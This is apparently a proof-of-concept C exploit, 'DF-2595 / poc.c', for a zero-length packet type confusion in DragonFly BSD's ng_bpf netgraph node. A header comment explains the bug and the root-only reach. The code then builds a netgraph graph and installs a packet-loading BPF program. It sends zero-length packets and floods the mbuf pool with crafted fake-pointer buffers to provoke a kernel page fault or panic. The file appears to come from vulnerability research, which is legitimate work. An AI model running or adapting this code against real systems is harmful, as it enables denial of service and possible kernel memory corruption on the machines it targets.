DF-2595 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /* * DF-2595 PoC โ ng_bpf zero-length packet type confusion in bpf_filter. * * Bug: sys/netgraph/bpf/ng_bpf.c โ ng_bpf_rcvdata() computes * int totlen = m->m_pkthdr.len; * ... * data = buf; (stack buf[256], or kmalloc, or mtod(m)) * m_copydata(m, 0, totlen, data); * len = bpf_filter(hip->prog->bpf_prog, data, totlen, totlen); * WITHOUT any guard for totlen == 0. When a zero-length mbuf arrives * (m_pkthdr.len == 0), buflen = totlen = 0 is passed to bpf_filter(). In the * kernel, bpf_filter()'s packet-load fallback (bpf_filter.c:206-264) is GATED * on buflen==0: * * case BPF_LD|BPF_W|BPF_ABS: * k = pc->k; * if (k > buflen || sizeof(int32_t) > buflen - k) { // true for any k>=0 when buflen==0 * if (buflen != 0) // <-- THE GUARD: false because buflen==0 * return 0; * A = m_xword((struct mbuf *)p, k, &merr); // TYPE CONFUSION * } * * i.e. bpf_filter treats `p` as a `struct mbuf *` and dereferences m_len / * m_next / mtod() on it. But ng_bpf passed `p = data`, which is a contiguous * byte buffer (the stack buf[256], a kmalloc blob, or mtod(m) = the mbuf's DATA * area) โ NOT a struct mbuf. Casting it to (struct mbuf *) and walking * m_next/mtod dereferences attacker-influenced garbage as kernel pointers -> * page fault / panic (or wild kmem read). * * This mbuf-traversal fallback is INTENTIONAL for live bpf(4) filtering (where * `p` really IS an mbuf and buflen==0 means "use the mbuf chain"); ng_bpf * mis-uses the API by always passing a flat buffer and forgetting to reject * totlen==0. FreeBSD's ng_bpf adds an explicit `if (totlen == 0) ...` guard; * DragonFly's does not. * * Trigger needs a BPF program that actually performs a packet load * (BPF_LD|BPF_*|BPF_ABS or BPF_IND). The default hook program is just * { BPF_RET|BPF_K, 0 } (no load) so it never reaches the confused path; the * PoC installs a load+ret program first. * * Reach / privilege: building the netgraph topology (mkpeer ng_bpf, * NGM_BPF_SET_PROGRAM) goes through the netgraph CONTROL socket, whose attach * (ngc_attach) requires caps_priv_check(SYSCAP_RESTRICTEDROOT) == root. The * DATA socket (ngd_attach) needs no privilege, but it can only SEND on a hook * that a root-built graph already wired up. So the bug trigger is * root-reachable (a root firewall admin configuring an ng_bpf filter); an * unprivileged user can only send data on a graph a root already configured. * * Build: cc -o poc poc.c -lnetgraph * Run: ./poc (must run as root: control socket = SYSCAP_RESTRICTEDROOT) */ #include <sys/types.h> #include <sys/socket.h> #include <net/bpf.h> #include <netgraph/ng_message.h> #include <netgraph/bpf/ng_bpf.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* libnetgraph prototypes (header lives in src, not always installed) */ extern int NgMkSockNode(const char *name, int *cfd, int *dfd); extern int NgSendMsg(int cs, const char *path, int cookie, int cmd, const void *arg, size_t arglen); extern int NgRecvMsg(int cs, struct ng_mesg *rep, size_t replen, char *path); extern int NgSendData(int ds, const char *hook, const u_char *buf, size_t len); /* fetch ng_bpf hook stats (proves ng_bpf_rcvdata was actually entered) */ static int get_stats(int csock, const char *bpfpath, const char *hook, struct ng_bpf_hookstat *out) { char hookarg[NG_HOOKSIZ]; struct ng_mesg *rep; size_t replen = sizeof(struct ng_mesg) + sizeof(struct ng_bpf_hookstat) + NG_HOOKSIZ; rep = calloc(1, replen); if (!rep) return -1; memset(hookarg, 0, sizeof(hookarg)); strncpy(hookarg, hook, NG_HOOKSIZ - 1); if (NgSendMsg(csock, bpfpath, NGM_BPF_COOKIE, NGM_BPF_GET_STATS, hookarg, NG_HOOKSIZ) < 0) { free(rep); return -1; } if (NgRecvMsg(csock, rep, replen, NULL) < 0) { free(rep); return -1; } memcpy(out, rep->data, sizeof(*out)); free(rep); return 0; } #define MYNODE "df2595" #define OUTHOOK "out" /* hook on our socket node */ #define BPFHOOK "in" /* peer hook on the ng_bpf node */ int main(int argc, char **argv) { int csock = -1, dsock = -1; int zerolen_only = (argc > 1) ? atoi(argv[1]) : 0; printf("[*] DF-2595 ng_bpf zero-length packet -> bpf_filter type confusion\n"); /* 1. Create a named netgraph socket node (control + data sockets). * The control socket attach (ngc_attach) requires SYSCAP_RESTRICTEDROOT. */ if (NgMkSockNode(MYNODE, &csock, &dsock) < 0) { printf("[-] NgMkSockNode failed: %s (errno=%d)\n", strerror(errno), errno); if (errno == EPERM) printf("[-] control socket needs root (SYSCAP_RESTRICTEDROOT)\n"); return 2; } printf("[+] created socket node '%s' csock=%d dsock=%d\n", MYNODE, csock, dsock); /* 2. mkpeer: create an ng_bpf node, our OUTHOOK -> bpf BPFHOOK */ struct ngm_mkpeer mp; memset(&mp, 0, sizeof(mp)); strncpy(mp.type, NG_BPF_NODE_TYPE, sizeof(mp.type) - 1); strncpy(mp.ourhook, OUTHOOK, sizeof(mp.ourhook) - 1); strncpy(mp.peerhook, BPFHOOK, sizeof(mp.peerhook) - 1); if (NgSendMsg(csock, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mp, sizeof(mp)) < 0) { printf("[-] mkpeer ng_bpf failed: %s (errno=%d)\n", strerror(errno), errno); return 2; } printf("[+] mkpeer ng_bpf '%s:%s' -> bpf '%s'\n", MYNODE, OUTHOOK, BPFHOOK); /* 3. install a BPF program on the bpf hook that performs a packet LOAD. * BPF_LD|BPF_W|BPF_ABS k=0 -> load 4 bytes at offset 0 * BPF_RET|BPF_K k=0 -> return * With totlen/buflen==0 the load's bounds check fails and the kernel * falls into the mbuf-traversal branch, casting our flat data pointer * to (struct mbuf *). */ int plen = 2; size_t hp_sz = NG_BPF_HOOKPROG_SIZE(plen); struct ng_bpf_hookprog *hp = calloc(1, hp_sz); if (!hp) { perror("calloc"); return 2; } strncpy(hp->thisHook, BPFHOOK, sizeof(hp->thisHook) - 1); hp->ifMatch[0] = '\0'; /* empty = drop on match */ hp->ifNotMatch[0] = '\0'; hp->bpf_prog_len = plen; hp->bpf_prog[0] = (struct bpf_insn)BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0); hp->bpf_prog[1] = (struct bpf_insn)BPF_STMT(BPF_RET|BPF_K, 0); if (NgSendMsg(csock, MYNODE ":" OUTHOOK, NGM_BPF_COOKIE, NGM_BPF_SET_PROGRAM, hp, hp_sz) < 0) { printf("[-] setprogram failed: %s (errno=%d)\n", strerror(errno), errno); free(hp); return 2; } printf("[+] installed BPF program on bpf '%s': LD_W_ABS k=0; RET 0\n", BPFHOOK); free(hp); /* 4. PROVE the data path: query stats, send a few zero-length items, * re-query stats. recvFrames must increase -> ng_bpf_rcvdata WAS * entered with m_pkthdr.len==0 -> bpf_filter(buflen==0) was called * -> the _KERNEL mbuf-traversal branch (which casts the flat data * pointer to (struct mbuf *)) was reached. */ struct ng_bpf_hookstat s0, s1; char *bpfpath = MYNODE ":" OUTHOOK; if (get_stats(csock, bpfpath, BPFHOOK, &s0) == 0) printf("[*] stats BEFORE: recvFrames=%llu recvOctets=%llu\n", (unsigned long long)s0.recvFrames, (unsigned long long)s0.recvOctets); else printf("[~] stats query failed (non-fatal)\n"); printf("[*] sending 4 ZERO-LENGTH data items -> ng_bpf 'in' (totlen=0)...\n"); fflush(stdout); for (int i = 0; i < 4; i++) { int rc = NgSendData(dsock, OUTHOOK, (const u_char *)"", 0); printf(" [%d] NgSendData(0) rc=%d errno=%d\n", i, rc, errno); fflush(stdout); } if (get_stats(csock, bpfpath, BPFHOOK, &s1) == 0) printf("[*] stats AFTER : recvFrames=%llu recvOctets=%llu (delta=%lld)\n", (unsigned long long)s1.recvFrames, (unsigned long long)s1.recvOctets, (long long)(s1.recvFrames - s0.recvFrames)); if (s1.recvFrames > s0.recvFrames) printf("[+] CONFIRMED: zero-length data reached ng_bpf_rcvdata -> " "bpf_filter(buflen=0) -> type-confusion branch entered\n"); /* 5. SURFACE the latent panic: groom the mbuf pool with pointer-shaped * packets (their bytes persist in the objcache after free), then send * many zero-length items hoping to reuse a stale mbuf whose data area * (read as a fake struct mbuf by m_xword/m_xhalf/MINDEX) holds a * non-NULL/unmapped m_next -> page fault. Non-deterministic; the * bug is real regardless (see VERDICT.md). */ printf("[*] grooming mbuf pool: flooding %d pointer-shaped packets then " "re-sending zero-length...\n", 4000); fflush(stdout); /* craft a buffer where bytes[0..7] (fake mh_next) = 0xdeadbeefcafebabe * (unmapped) and bytes[24..27] (fake mh_len, little-endian int) = 0 * so m_xword's `while (k >= len)` loop is entered and follows the bad * m_next. 88 bytes fits in a packet-header mbuf's internal m_pktdat. */ u_char groom[88]; memset(groom, 0, sizeof(groom)); /* fake mh_next = unmapped address */ groom[0]=0xbe; groom[1]=0xba; groom[2]=0xfe; groom[3]=0xca; groom[4]=0xef; groom[5]=0xbe; groom[6]=0xad; groom[7]=0xde; /* fake mh_nextpkt (offset 8) and mh_data (offset 16) also bad */ for (int o=8;o<24;o++) groom[o]=0x41; /* fake mh_len (offset 24, int32) = 0 -> forces m_xword into the loop */ /* (already zeroed) */ for (int round = 0; round < 50; round++) { /* fill pool with stale pointer-shaped packets */ for (int i = 0; i < 80; i++) NgSendData(dsock, OUTHOOK, groom, sizeof(groom)); /* now fire zero-length items to try to reuse a stale mbuf */ for (int i = 0; i < 80; i++) { NgSendData(dsock, OUTHOOK, (const u_char *)"", 0); fflush(stdout); usleep(200); } } printf("[*] still alive โ kernel survived grooming+zero-length flood\n"); printf("[*] (the type confusion is reachable but needs a stale mbuf with\n"); printf("[*] pointer-shaped residue to panic; zeroed pool state is benign.)\n"); close(csock); close(dsock); return 0; } |